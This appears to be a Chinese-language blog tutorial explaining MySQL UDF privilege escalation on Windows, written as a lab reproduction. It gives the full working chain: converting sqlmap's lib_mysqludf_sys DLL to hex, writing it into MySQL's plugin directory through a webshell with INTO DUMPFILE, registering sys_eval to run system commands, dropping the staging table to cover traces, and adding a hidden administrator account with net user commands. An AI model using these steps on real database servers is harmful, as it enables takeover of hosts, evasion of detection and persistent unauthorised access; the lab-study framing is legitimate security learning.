1. 程式人生 > >udf提權原理詳解

udf提權原理詳解

define n) 指定位置 sqlmap 是什麽 reat ali 為我 location

0x00-前言
這個udf提權復現搞了三天,終於搞出來了。網上的教程對於初學者不太友好,以至於我一直迷迷糊糊的,走了不少彎路。下面就來總結一下我的理解。
想要知道udf提權是怎麽回事,首先要先知道udf是什麽。

環境:
本機os: win10
靶機os: win7
php: 5.4.45
mysql: 5.5

0x01-udf是什麽?
udf = ‘user defined function‘,即‘用戶自定義函數’。是通過添加新函數,對MYSQL的功能進行擴充,性質就象使用本地MYSQL函數如abs()或concat()。udf在mysql5.1以後的版本中,存在於‘mysql/lib/plugin’目錄下,文件後綴為‘.dll’,常用c語言編寫。
那麽如何使用udf呢?

0x02-如何使用udf?
假設我的udf文件名為‘udf.dll’,存放在Mysql根目錄(通過select @@basedir可知)的‘lib/plugin’目錄下。在udf中,我定義了名為sys_eval的mysql函數,可以執行系統任意命令。如果我現在就打開mysql命令行,使用select sys_eval(‘dir‘);的話,系統會返回sys_eval()函數未定義。因為我們僅僅是把‘udf.dll’放到了某個文件夾裏,並沒有引入。類似於面向對象編程時引入包一樣,如果沒有引入包,那麽這個包裏的類你是用不了的。
所以,我們應該把‘udf.dll’中的自定義函數引入進來。看一下官方文檔中的語法:
技術分享圖片


不要慌,看看實例用法:

CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll‘;

只有兩個變量,一個是function_name(函數名),我們想引入的函數是sys_eval。還有一個變量是shared_library_name(共享包名稱),即‘udf.dll’。
至此我們已經引入了sys_eval函數,下面就是使用了。
這個函數用於執行系統命令,用法如下:

select sys_eval(‘cmd command‘);

0x03-使用udf提權
現在我們已經知道了udf是什麽,以及如何引入udf。下面我們要關註的就是提權了。其實到這裏,提權已經結束了,因為對於sys_eval()函數,其中的指令是直接以管理員的權限運行的,所以這也就是最高權限了。
下面來整理一下思路:

  1. 將udf文件放到指定位置(Mysql>5.1放在Mysql根目錄的lib\plugin文件夾下)
  2. 從udf文件中引入自定義函數(user defined function)
  3. 執行自定義函數

先看第一步,拿到一個網站的webshell之後,在指定位置創建udf文件。如何創建?先別忘了,現在連源udf文件都沒有。sqlmap中有現成的udf文件,分為32位和64位,一定要選擇對版本,否則會顯示:Can‘t open shared library ‘udf.dll‘。獲取sqlmap的udf請看鏈接:MySQL 利用UDF執行命令/52413974

然後將獲得的udf.dll文件轉換成16進制,一種思路是在本地使用mysql函數hex:

SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile ‘C:\\Users\\ka1n4t\\Desktop\\gg.txt‘;
load_file中的十六進制是C:\\Users\\ka1n4t\\Desktop\\lib_mysqludf_sys.dll

此時gg.txt文件的內容就是udf文件的16進制形式。

接下來就是把本地的udf16進制形式通過我們已經獲得的webshell傳到目標主機上。

1. CREATE TABLE udftmp (c blob); //新建一個表,名為udftmp,用於存放本地傳來的udf文件的內容。
2. INSERT INTO udftmp values(unhex(‘udf文件的16進制格式‘)); //在udftmp中寫入udf文件內容
3. SELECT c FROM udftmp INTO DUMPFILE ‘H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll‘; //將udf文件內容傳入新建的udf文件中,路徑根據自己的@@basedir修改
//對於mysql小於5.1的,導出目錄為C:\Windows\或C:\Windows\System32\

上面第三步,mysql5.1以上的版本是默認沒有plugin目錄的,網上有說可以使用ntfs數據流創建:

select test into dumpfile ‘H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION‘;

但是我本地測試一直沒有成功。後來又在網上看了很多,都是用這種方法,看來是無解了。在t00ls上也有人說數據流從來沒有成功過,所以說mysql5.1以上的提權能否成功還是個迷。
為了演示,在這裏我是手工創建了個plugin目錄(ps: 勿噴啦,我用的phpstudy環境,重新安裝一個mysql的話有可能會沖突,所以就沒搞,畢竟原理都一樣)。

繼續,到這兒如果沒有報錯的話就說明已經在目標主機上成功生成了udf文件。下面要導入udf函數:

1. DROP TABLE udftmp; //為了刪除痕跡,把剛剛新建的udftmp表刪掉
2. CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll‘; //導入udf函數

導入成功的話就可以使用了:

SELECT sys_eval(‘ipconfig‘);
返回網卡信息

附幾個常用的cmd指令,用於添加一個管理員用戶:

net user ka1n4t ka1n4t~!@ /add //添加新用戶:ka1n4t,密碼為ka1n4t~!@
net localgroup administrators ka1n4t /add //將ka1n4t添加至管理員分組

End.

0x04-參考資料
MySQL 利用UDF執行命令
Windows提權系列中篇

udf提權原理詳解